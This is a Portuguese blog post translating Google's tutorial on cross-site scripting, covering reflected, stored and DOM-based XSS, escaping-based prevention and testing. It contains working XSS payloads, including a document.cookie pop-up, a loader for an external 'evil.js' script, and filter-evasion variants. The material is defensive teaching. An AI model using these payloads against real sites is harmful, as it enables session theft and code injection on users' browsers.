Israel Helton Wernik

I'm a Cyber Researcher and Python Programmer.

XSS - Cross-site scripting

13 May 2018 »
Eu traduzi esse artigo do google e acrescentei alguns outros detalhes. 
Veja o original aqui

Após ler esse artigo vale a pena jogar o jogo do google sobre XXS

Introdução ao cross-site scripting

Público-alvo

Este documento destina-se a qualquer pessoa que desenvolva websites ou tenha interesse em tópicos de segurança da Web. Um plano de fundo em HTML, JavaScript e Document Object Model (DOM) seria útil para alguns dos detalhes mais técnicos.



Não seja mau Don't be evil
Este documento fornece informações que podem ser usadas para avaliar a segurança de um site contra vulnerabilidades de script entre sites. Não use o que você aprende aqui para testar (ou pior, atacar) sites sem a permissão do proprietário do site.

O que é cross-site scripting e por que devo me importar?

Cross-site scripting (XSS) é um bug de segurança que pode afetar sites. Se presente em seu site, esse bug pode permitir que um invasor adicione seu próprio código JavaScript malicioso às páginas HTML exibidas para seus usuários. Uma vez executado pelo navegador da vítima, esse código pode executar ações como alterar completamente o comportamento ou a aparência do site, roubar dados particulares ou executar ações em nome do usuário.

Não se preocupe, mostraremos o que isso significa, mas antes de aprofundarmos, vamos dar uma olhada em alguns exemplos interativos para ver como funciona.

Um exemplo básico

XSS Refletido:

As vulnerabilidades de XSS ocorrem com mais frequência quando a entrada do usuário é incorporada na resposta de um servidor da Web (ou seja, uma página HTML) sem escape ou validação adequados.

Considere o aplicativo de pesquisa abaixo. Clique em " Show demo" para carregar o aplicativo. Este é um aplicativo de demonstração de trabalho; Então, você pode interagir com ele - tente procurar por algo.Para sua referência, também incluímos o código-fonte do App Engine. Você pode visualizar o código clicando no link " Clique para visualizar o código-fonte do aplicativo "

No google chrome está com um problema no level 3

Clique para ver o código fonte do aplicativo Usando o aplicativo de demonstração acima, pesquise por test . . Isso retorna a seguinte saída: Desculpe, não foram encontrados resultados para teste .
Sorry, no results were found for test. Try again.

Agora, procure por <u>test</u> . Observe que "teste" está sublinhado na resposta: Desculpe, não foram encontrados resultados para teste . Sorry, no results were found for test . Try again.

Portanto, sem olhar para o código, parece que o aplicativo inclui nossa própria marcação HTML na resposta.

Isso é interessante, mas não terrivelmente perigoso. Se, no entanto, o aplicativo também nos permite injetar código JavaScript, isso seria muito mais "interessante".

Vamos tentar. Procure por

<script>alert('hello')</script> .

Encontramos um erro XSS!

Você acabou de experimentar um ataque XSS "refletido", em que a payload do JavaScript ( <script>alert('hello')</script> ) é ecoada de volta na página retornada pelo servidor.

Se você observar a linha 50 do código-fonte, verá que a mensagem exibida na página de resultados da pesquisa é uma cadeia construída usando o valor de entrada da query.

Essa sequência é passada para uma função que renderiza a saída HTML usando o método response.out.write na linha 37. O problema é que a entrada não é escapada antes de ser renderizada.

Discutiremos o escape mais tarde na seção "Prevenindo XSS".

No cenário acima, um invasor precisaria da vítima para:

  • Visite qualquer página controlada pelo invasor. Essa página pode incluir um iframe invisível que aponta para o site vulnerável ao XSS, juntamente com uma payload útil para explorar a vulnerabilidade.
  • Ou clique em um link de URL do invasor. Este link incluiria a payload útil da exploração (no exemplo acima, https://xss-doc.appspot.com/demo/2?query= <script> alert ('olá') </ script> ) e pode até mesmo ser obscurecida por um encurtador de URL.

Vale a pena notar que o payload do XSS pode ser entregue de diferentes maneiras;

por exemplo, pode estar em um parâmetro de uma solicitação HTTP POST, como parte da URL, ou até mesmo dentro do cookie do navegador da Web - basicamente, em qualquer lugar em que um usuário possa fornecer informações para o site.

Tudo isso para gerar uma janela pop-up irritante pode não valer a pena.
Infelizmente, as vulnerabilidades do XSS podem resultar em muito mais do que alertas em uma página (um alerta pop-up é apenas uma maneira conveniente para um invasor ou pesquisador detectar a presença de um bug XSS).

Dê uma olhada no próximo exemplo de um script mais malicioso.

Às vezes, a payload útil do XSS pode persistir  - stored XSS

No ataque que descrevemos acima, o servidor da web ecoa de volta a payload do XSS para a vítima imediatamente.

Mas também é possível que o servidor armazene a entrada fornecida pelo invasor (a payload do XSS) e a entregue à vítima em um momento posterior.

Isso é chamado de "XSS armazenado".

No level 2 há um exemplo básico usando um site de rede social de demonstração.

Vá em frente, insira algum texto e compartilhe seu status no aplicativo de demonstração abaixo.

Clique para ver o código fonte do aplicativo
Em seguida, tente isto:
  1. Digite <img src=x onerror="alert('Pop-up window via stored XSS');"
  2. Compartilhe seu status.
  3. Você deve ver um alerta de pop-up! Você verá o alerta novamente se atualizar a página ou compartilhar outra mensagem de status.

Agora, digite <img src=x onerror="alert(document.cookie);" e clique em ' Share status!

O ID da sessão para este aplicativo (um inventivo que provavelmente é ' 123412341234 ') irá aparecer!

Um invasor pode usar o código de exploração XSS para coletar esse ID de sessão e tentar representar o proprietário da conta.

Nota: Para redefinir o aplicativo e se livrar dos irritantes pop-ups, clique no botão " Limpar todos os posts ".

O que mais você pode fazer além de exibir alertas ou roubar identificações de sessão?

Você pode fazer praticamente qualquer coisa que o JavaScript permitir.  Tente digitar o seguinte: Try entering the following:

<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"

Assustador, hein? Neste exemplo, um arquivo JavaScript malvado foi recuperado e incorporado via XSS.

O seu servidor nem sempre verá a payload do XSS

Nos dois exemplos anteriores, a entrada do usuário foi enviada ao servidor e o servidor respondeu ao usuário exibindo uma página que incluía a entrada do usuário.

No entanto, uma vulnerabilidade de XSS armazenada ou refletida também pode ocorrer sem o envolvimento direto do servidor, se os dados fornecidos pelo usuário forem usados ​​em uma operação de JavaScript insegura.

Ou seja, o XSS pode ocorrer inteiramente no JavaScript e no HTML do lado do cliente (mais especificamente, no DOM), sem que os dados sejam enviados entre o cliente e o servidor.

Chamamos esta subclasse de bugs "XSS baseado em DOM" ou "DOM XSS" para abreviar.

Uma causa comum de erros do DOM XSS é definir o valor innerHTML de um elemento DOM com dados fornecidos pelo usuário.

Dê uma olhada no level 3. Ele usa um fragmento de URL para determinar qual guia exibir.

Clique para ver o código fonte do aplicativo.

O aplicativo funciona como esperado quando você clica nas guias.

No entanto, também é possível abrir um URL como:

https://xss-doc.appspot.com/demo/3#'><img src=x onerror=alert(/DOM-XSS/)>

Você pode copiar e colar o URL acima na "barra de URL" do aplicativo de demonstração acima e clicar no botão " Go ".. Você deve ver um alerta pop-up.

O XSS é acionado porque o script do lado do cliente usa parte do window.location para definir o innerHTML de um dos elementos dentro da página.

Quando você vai para o URL acima, a variável location.hash é definida como

#'><img src=x onerror=alert(/DOM-XSS/)> .

Se você olhar para a linha 33 do código-fonte para index.html, verá que a substring de location.hash (a string após o caractere # ) é passada como o argumento para a função chooseTab na linha 8. chooseTab constrói uma img elemento para incorporar uma imagem usando o seguinte:

html += "<img src='/static/demos/GEECS" + name + ".jpg' />";

O argumento location.hash substring é usado para definir o valor do name; isso resulta no seguinte elemento img:

<img src='/static/demos/GEECS'><img src=x onerror=alert(/DOM-XSS/)>.jpg' />

O acima é um HTML válido; no entanto, o navegador não carregará a imagem e, em vez disso, executará o código onerror. Este elemento img é finalmente adicionado ao documento via innerHTML na linha 12.

Outros Exemplos de XXS


Veja aqui vários exemplos de como conseguir um ataque de XXS:


Às vezes o site tem algum mecanismo que não deixa escrever <script>, uma soluçao é capitalizar algumas letras:

<sCriPt>alert()</ScRiPt>

Outro exemplo se o site não deixa colocar aspas, você pode procurar algum site que traduz charcode usar sem aspas:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Prevenindo o XSS

Veja aqui várias dicas:

Nada é infalível

Fornecemos algumas sugestões sobre como você pode minimizar a chance de seu site conter vulnerabilidades XSS.

Mas tenha em mente que tanto a segurança quanto a tecnologia evoluem muito rapidamente;

então, não há garantias - o que funciona hoje pode não funcionar totalmente amanhã (hackers podem ser bastante espertos).

O que posso fazer para evitar o XSS?
Uma técnica comum para evitar vulnerabilidades XSS é "escaping".

O objetivo do escaping de caractere e string é garantir que cada parte de uma string seja interpretada como uma string primitiva, não como um caractere ou código de controle.

Por exemplo,  ' &lt;
' &lt; é a codificação HTML para o caractere '< '. Se você incluir:

< script > alert('testing') < /script >

no HTML de uma página, o script será executado. Mas se você incluir:

&lt; script &gt; alert('testing') &lt; /script &gt;

no HTML de uma página, ele imprimirá o texto "<script> alert ('testing') </ script> ", mas não executará o script.

Ao escapar das tags <script> , impedimos que o script fosse executado.

Tecnicamente, o que fizemos aqui é "codificar" e não "escapar", porém transmitimos o conceito básico de  "escapar" (e veremos mais adiante que, no caso do JavaScript, "escaping" da forma correta.

O seguinte pode ajudar a minimizar as chances de o seu site conter vulnerabilidades XSS:

  • Usando um sistema de modelo com escape automático sensível ao contexto
  • Como escapar manualmente da entrada do usuário (se não for possível usar um sistema de modelo com escape automático com reconhecimento de contexto)
  • Compreender os comportamentos comuns do navegador que levam ao XSS
  • Aprendendo as boas práticas de sua tecnologia

O restante desta seção descreve essas medidas em detalhes.

Use um sistema de modelo com escape automático sensível ao contexto

A maneira mais simples e melhor de proteger seu aplicativo e seus usuários dos bugs do XSS é usar um web template system ou web application development framework aplicativo da web que escape automaticamente da saída e esteja ciente do contexto.

"Auto-escaping" refere-se à capacidade de um sistema de template ou framework de desenvolvimento web para escapar automaticamente da entrada do usuário, a fim de evitar a execução de qualquer script embutido na entrada.

Se você quisesse evitar o XSS sem auto-escape, você teria que escapar manualmente da entrada;

isso significa escrever seu próprio código personalizado (ou chamar uma função de escape) em todos os lugares em que seu aplicativo inclui dados controlados pelo usuário.

Na maioria dos casos, a entrada de escape manual não é recomendada;

discutiremos o escape manual na próxima seção.

"Context-aware" refere-se à capacidade de aplicar diferentes formas de escape com base no contexto apropriado.

Como CSS, HTML, URLs e JavaScript usam sintaxe diferente, diferentes formas de escape são necessárias para cada contexto.

O exemplo de modelo HTML a seguir usa variáveis ​​em todos esses contextos diferentes:

<body>
 <span style="color:{{ USER_COLOR }};">
   Hello {{ USERNAME }}, view your <a href="{{ USER_ACCOUNT_URL }}">Account</a>.
 </span>
 <script>
   var id = {{ USER_ID }};
   alert("Your user ID is: " + id);
 </script>
</body>

Como você pode ver, tentar escapar manualmente a entrada para vários contextos pode ser muito difícil.

Você pode ler mais sobre o escape automático com reconhecimento de contexto aqui .
Os modelos Go , o Google Web Toolkit (GWT) com SafeHtml , os modelos de fechamento e o CTemplate fornecem escape automático com reconhecimento de contexto, para que as variáveis ​​escapem corretamente para o contexto da página em que aparecem.

Se você estiver usando modelos para gerar HTML dentro do JavaScript (uma boa ideia!), O Closure Templates e o Angular fornecem recursos de escape integrados.

Uma nota sobre a entrada de escape manual

Escrever seu próprio código para escapar de entrada e, em seguida, aplicá-lo de maneira correta e consistente é extremamente difícil.

Não recomendamos que você escape manualmente dos dados fornecidos pelo usuário.

Em vez disso, recomendamos enfaticamente que você use um sistema de modelo ou uma estrutura de desenvolvimento da Web que forneça escape automático com reconhecimento de contexto.

Se isso for impossível para o seu site, use bibliotecas e funções existentes que funcionam e aplique essas funções de forma consistente a todos os dados fornecidos pelo usuário e a todos os dados que não estejam diretamente sob o seu controle.

Entenda os comportamentos comuns do navegador que levam ao XSS

Se você seguir as práticas da seção anterior, poderá reduzir o risco de introduzir erros de XSS em seus aplicativos.

Existem, no entanto, formas mais sutis em que o XSS pode surgir.
Para atenuar o risco desses casos, considere o seguinte:

  • Especifique o tipo de Content-Type e o conjunto de charset corretos para todas as respostas que podem conter dados do usuário.

    • Sem esses cabeçalhos, muitos navegadores tentarão determinar automaticamente a resposta apropriada, executando o conteúdo ou o sniffing do conjunto de caracteres . Isso pode permitir que a entrada externa engane o navegador para interpretar parte da resposta como marcação HTML, o que, por sua vez, pode levar ao XSS.

  • Certifique-se de que todos os URLs fornecidos pelo usuário iniciem com um protocolo seguro.
    • Geralmente, é necessário usar URLs fornecidas pelos usuários, por exemplo, como uma URL de continuação para redirecionar após uma determinada ação ou em um link para um recurso especificado pelo usuário. Se o protocolo da URL for controlado pelo usuário, o navegador poderá interpretá-lo como um URI de script (por exemplo, javascript: data: e outros) e executá-lo.  Para evitar isso, sempre verifique se o URL começa com um valor permitido (geralmente apenas http:// ou https:// ).

  • Host user-uploaded files em um sandbox

Conheça as melhores práticas para sua tecnologia

As práticas recomendadas a seguir podem ajudar você a reduzir as vulnerabilidades de XSS em seu código para tecnologias específicas.

  • JavaScript : Muitas vulnerabilidades do XSS são causadas pela passagem de dados do usuário para coletores de execução de Javascript; JavaScript: mecanismos de navegador que executarão scripts a partir de suas entradas. Tais APIs incluem *.innerHTML , document.write e eval() . Quando os dados controlados pelo usuário (na forma de location.* , document.cookie ou JavaScript variáveis ​​contendo dados do usuário) são retornados pelo servidor, chamar essas funções pode levar ao XSS.
  • JSON : Certifique-se de aplicar o escape adequado (incluindo o escape de caracteres HTML como < e > ). Não permita que os dados fornecidos pelo usuário sejam retornados como a primeira parte da resposta (como acontece com frequência no JSONP). Não use eval() para analisar os dados.
  • Flash : considere hospedar arquivos SWF em um domínio separado.
  • GWT : Siga as diretrizes no Guia do desenvolvedor do GWT sobre SafeHtml. Em particular, evite o uso de APIs que interpretam valores simples de String como HTML e prefiram as variantes SafeHtml quando disponíveis. Por exemplo, prefira HTML#setHTML(SafeHtml)sobre HTML#setHTML(String) .
  • HTML sanitization (Limpeza de HTML) : se você precisar oferecer suporte a marcação fornecida pelo usuário, como imagens ou links, procure tecnologias que ofereçam suporte ao saneamento de HTML. Por exemplo, o Caja inclui um html-sanitizer escrito em Javascript que pode ser usado para remover JavaScript potencialmente executável de um fragmento de HTML.

Teste para XSS

Prossiga com cuidado

Como em qualquer teste de segurança, pode haver efeitos colaterais indesejados. Não assumimos nenhuma responsabilidade pelo uso que você faz do conhecimento que obtém aqui (com o poder vem a responsabilidade); então, use esta informação por sua conta e risco.

Como posso testar o XSS?

Não há mágica para detectar XSS em aplicativos. A melhor maneira de testar os erros do XSS é através de uma combinação de:
  • teste manual
  • escrever testes unitários para verificar a fuga ou sanitização corretas em partes cruciais da sua aplicação
  • usando ferramentas automatizadas.

Esta seção descreverá e fará recomendações para cada estratégia.

Teste manual ("teste de caixa preta")

O XSS é um risco sempre que o seu aplicativo manipula a entrada do usuário.

Para obter melhores resultados, configure seu navegador para usar um proxy que intercepte e varra o tráfego para ajudar a identificar problemas.
Exemplos de ferramentas incluem Burp Proxy e ratproxy .

Execute estes testes básicos em seu aplicativo:

  • Interaja com seu aplicativo. Inserir strings que contenham metacaracteres HTML e JavaScript em todas as entradas do aplicativo, como formulários, parâmetros de URL, campos ocultos (!) Ou valores de cookie.
  • Uma boa string de teste é

>'>"><img src=x onerror=alert(0)>

  • Se o seu aplicativo não escapar corretamente desta string, você verá um alerta e saberá que algo deu errado.
  • Onde quer que seu aplicativo lide com URLs fornecidos pelo usuário, insira javascript:alert(0)     ou
data:text/html,<script>alert(0)</script>.
  • Crie um perfil de usuário de teste com dados semelhantes às cadeias de teste acima. Use esse perfil para interagir com seu aplicativo. Isso pode ajudar a identificar erros de XSS armazenados.

Revisão de código ("teste de caixa branca")

Solicite que um colega ou amigo revise seu código com novos olhos (e ofereça-se para retribuir o favor!).

Peça-lhes que procurem especificamente por vulnerabilidades XSS e aponte-as para este documento, se isso for útil.

Testes unitários

Use o teste de unidade para certificar-se de que um determinado bit de dados tenha escapado corretamente.

Embora nem sempre seja possível testar a unidade em todos os lugares em que os dados fornecidos pelo usuário são exibidos, você deve, no mínimo, redigir os testes de unidade para obter um código ligeiramente fora do normal para garantir que o resultado atenda às suas expectativas. Isso inclui lugares onde:
  • A marcação que inclui a entrada do usuário é gerada no código - verifique se nenhuma entrada não confiável escapou ou foi removida.
  • Seu aplicativo redireciona para URLs externos. Verifique se o URL começa com http: // ou https: // .
  • Você usa um HTML sanitizer or stripper para remover tags  - verifique se alguma marcação não suportada está com escape.

Além disso, sempre que você encontrar e corrigir um bug XSS no seu código, considere adicionar um teste de regressão para ele.

Scanners de segurança de aplicativos da Web Web application security scanners

Você pode usar o software de verificação de segurança para identificar vulnerabilidades XSS nos aplicativos. Embora os scanners automáticos muitas vezes não sejam otimizados para seu aplicativo específico, eles permitem que você encontre com rapidez e facilidade as vulnerabilidades mais óbvias. Skipfish é uma dessas ferramentas.

Qual método de teste devo usar?

Bem, para ser honesto - o máximo possível (que tipo de resposta você esperava dos seguranças?).

Nenhuma metodologia de teste é infalível; Assim, a execução de uma combinação de revisões de código e testes manuais e automatizados diminuirá as chances de uma vulnerabilidade de XSS em seu aplicativo.